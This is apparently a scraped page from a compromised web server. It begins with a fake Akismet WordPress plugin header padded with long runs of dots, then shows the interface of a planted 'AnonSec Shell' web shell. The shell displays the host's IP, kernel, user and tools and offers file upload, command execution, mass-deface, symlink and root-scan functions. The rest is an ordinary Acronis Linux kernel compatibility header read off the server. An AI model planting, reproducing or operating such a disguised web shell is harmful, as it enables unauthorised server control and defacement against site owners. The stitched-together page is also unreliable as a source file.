#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 62.109.13.187  /  Your IP : 216.73.216.11   [ Reverse IP ]
Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28
System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : mosrembit ( 6064)
PHP Version : 8.2.28
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/src/file_protector-1.1-234/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/src/file_protector-1.1-234/compat.h
/**
@file
@brief    Support for legacy Linux kernel versions
@details  Copyright (c) 2018-2021 Acronis International GmbH
@author   Mikhail Krivtsov (mikhail.krivtsov@acronis.com)
@since    $Id: $
*/

#pragma once

#include <linux/cred.h>		// current_fsuid_fsgid
#include <linux/fs.h>	  	// vfs_stat
#include <linux/stat.h>		// struct kstat
#include <linux/version.h>

// CentOS/RedHat kernel has many backports
// 'LINUX_VERSION_CODE' cannot be trusted on RHEL distros so only 'grep' is used for CentOS and CloudLinux
// For 'normal kernels', 'LINUX_VERSION_CODE' should be used
#ifndef RHEL_RELEASE_VERSION
// 'linux/sched/task.h' appeared in 'stable/v4.11'
#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 11, 0)
#  ifdef HAVE_SCHED_TASK_H
#  undef HAVE_SCHED_TASK_H
#  endif
#  ifndef HAVE_SCHED_H
#  define HAVE_SCHED_H
#  endif
#else
#  ifndef HAVE_SCHED_TASK_H
#  define HAVE_SCHED_TASK_H
#  endif
#  ifdef HAVE_SCHED_H
#  undef HAVE_SCHED_H
#  endif
#endif

// 'get_fs_pwd()' appeared in 'stable/v2.6.36'
#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 36)
#  ifdef HAVE_GET_FS_ROOT
#  undef HAVE_GET_FS_ROOT
#  endif
#  ifdef HAVE_GET_FS_PWD
#  undef HAVE_GET_FS_PWD
#  endif
#  undef HAVE_GET_FS_PWD
#else
#  ifndef HAVE_GET_FS_ROOT
#  define HAVE_GET_FS_ROOT
#  endif
#  ifndef HAVE_GET_FS_PWD
#  define HAVE_GET_FS_PWD
#  endif
#endif

// Second arg of 'vfs_fstatat()' was made 'const' in 'stable/v2.6.36'
#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 36)
#  ifdef HAVE_VFS_FSTATAT_CONST
#  undef HAVE_VFS_FSTATAT_CONST
#  endif
#else
#  ifndef HAVE_VFS_FSTATAT_CONST
#  define HAVE_VFS_FSTATAT_CONST
#  endif
#endif

// 'get_task_exe_file()' appeared in 'stable/v4.8'
#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 8, 0)
#  ifdef HAVE_GET_TASK_EXE
#  undef HAVE_GET_TASK_EXE
#  endif
#else
#  ifndef HAVE_GET_TASK_EXE
#  define HAVE_GET_TASK_EXE
#  endif
#endif

// 'data' arg was added to 'probe' callback in v.2.6.35
#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 35)
#  ifdef HAVE_TRACEPOINT_PROBE_REGISTER_DATA
#  undef HAVE_TRACEPOINT_PROBE_REGISTER_DATA
#  endif
#else
#  ifndef HAVE_TRACEPOINT_PROBE_REGISTER_DATA
#  define HAVE_TRACEPOINT_PROBE_REGISTER_DATA
#  endif
// registration interface was modified in 'stable/v3.15'
#  if LINUX_VERSION_CODE < KERNEL_VERSION(3, 15, 0)
#    ifdef HAVE_TRACEPOINT_PROBE_REGISTER_STRUCT
#    undef HAVE_TRACEPOINT_PROBE_REGISTER_STRUCT
#    endif
#  else
#    ifndef HAVE_TRACEPOINT_PROBE_REGISTER_STRUCT
#    define HAVE_TRACEPOINT_PROBE_REGISTER_STRUCT
#    endif
#  endif
#endif

// rbtree postorder iteration functions appeared in 'stable/v3.12'
#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 12, 0)
#  ifdef HAVE_RB_FIRST_POSTORDER
#  undef HAVE_RB_FIRST_POSTORDER
#  endif
#  ifdef HAVE_RB_NEXT_POSTORDER
#  undef HAVE_RB_NEXT_POSTORDER
#  endif
#else
#  ifndef HAVE_RB_FIRST_POSTORDER
#  define HAVE_RB_FIRST_POSTORDER
#  endif
#  ifndef HAVE_RB_NEXT_POSTORDER
#  define HAVE_RB_NEXT_POSTORDER
#  endif
#endif

// kuid/kgid is used instead uid/gid since 'stable/v3.5.0'
#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 5, 0)
#  ifdef HAVE_STRUCT_CRED_KUID
#  undef HAVE_STRUCT_CRED_KUID
#  endif
#else
#  ifndef HAVE_STRUCT_CRED_KUID
#  define HAVE_STRUCT_CRED_KUID
#  endif
#endif
#endif

#ifdef HAVE_SCHED_H
#include <linux/sched.h>	// put_task_struct()
#endif
#ifdef HAVE_SCHED_TASK_H
#include <linux/sched/task.h>	// put_task_struct()
#endif

#ifndef HAVE_GET_FS_ROOT
#include <linux/fs_struct.h>
#include <linux/path.h>

static inline void get_fs_root(struct fs_struct *fs, struct path *root)
{
	read_lock(&fs->lock);
	*root = fs->root;
	path_get(root);
	read_unlock(&fs->lock);
}
#endif

#ifndef HAVE_GET_FS_PWD
#include <linux/fs_struct.h>
#include <linux/path.h>

static inline void get_fs_pwd(struct fs_struct *fs, struct path *pwd)
{
	read_lock(&fs->lock);
	*pwd = fs->pwd;
	path_get(pwd);
	read_unlock(&fs->lock);
}
#endif

static inline int vfs_fstatat_compat(int dfd, const char __user *filename,
				     struct kstat *stat, int flag)
{
#ifndef HAVE_VFS_FSTATAT_CONST
	return vfs_fstatat(dfd, (char *)filename, stat, flag);
#else
	return vfs_fstatat(dfd, filename, stat, flag);
#endif
}

static inline struct inode *file_inode_compat(const struct file *f)
{
	return f->f_path.dentry->d_inode;
}


#ifndef HAVE_GET_TASK_EXE
struct file *get_task_exe_file(struct task_struct *task);
#endif

#ifndef HAVE_PATH_EQUAL
static inline int path_equal(const struct path *path1, const struct path *path2)
{
	return path1->mnt == path2->mnt && path1->dentry == path2->dentry;
}
#endif

#define TRACE_CB_NAME(name) trace_##name##_cb
#ifndef HAVE_TRACEPOINT_PROBE_REGISTER_DATA
	#define REGISTER_TRACE(name, probe) register_trace_##name(probe)
	#define UNREGISTER_TRACE(name, probe) unregister_trace_##name(probe)
	#define TRACE_CB_PROTO(name, proto) void TRACE_CB_NAME(name)(PARAMS(proto))
#else
	#ifndef HAVE_TRACEPOINT_PROBE_REGISTER_STRUCT
		#define REGISTER_TRACE(name, probe) register_trace_##name(probe, NULL)
		#define UNREGISTER_TRACE(name, probe) unregister_trace_##name(probe, NULL)
	#else
		int tracepoint_probe_register_compat(const char *name, void *probe, void *data);
		#define REGISTER_TRACE(name, probe) \
				tracepoint_probe_register_compat(#name, probe, NULL)
		int tracepoint_probe_unregister_compat(const char *name, void *probe, void *data);
		#define UNREGISTER_TRACE(name, probe) \
				tracepoint_probe_unregister_compat(#name, probe, NULL)
	#endif

	#define TRACE_CB_PROTO(name, proto) \
			void TRACE_CB_NAME(name)(void *cb_data, PARAMS(proto))
#endif

#ifndef HAVE_RB_FIRST_POSTORDER
#include <linux/rbtree.h>
extern struct rb_node *rb_first_postorder(const struct rb_root *);
#endif

#ifndef HAVE_RB_NEXT_POSTORDER
#include <linux/rbtree.h>
extern struct rb_node *rb_next_postorder(const struct rb_node *);
#endif

static inline void get_current_fsuid_fsgid_compat(uid_t* fsuid, gid_t* fsgid)
{
#ifndef HAVE_STRUCT_CRED_KUID
	current_fsuid_fsgid(fsuid, fsgid);
#else
	kuid_t fskuid;
	kgid_t fskgid;
	current_fsuid_fsgid(&fskuid, &fskgid);
	*fsuid = fskuid.val;
	*fsgid = fskgid.val;
#endif
}

/*
    2.6.32-71.el6

        unsigned int module_refcount(struct module *mod)

    linux-3.10.0-123.el7

        unsigned long module_refcount(struct module *mod)
*/
#define module_refcount_compat(m) ((unsigned long)module_refcount(m))

unsigned long compat_kallsyms_lookup_name(const char *name);

Anon7 - 2022
AnonSec Team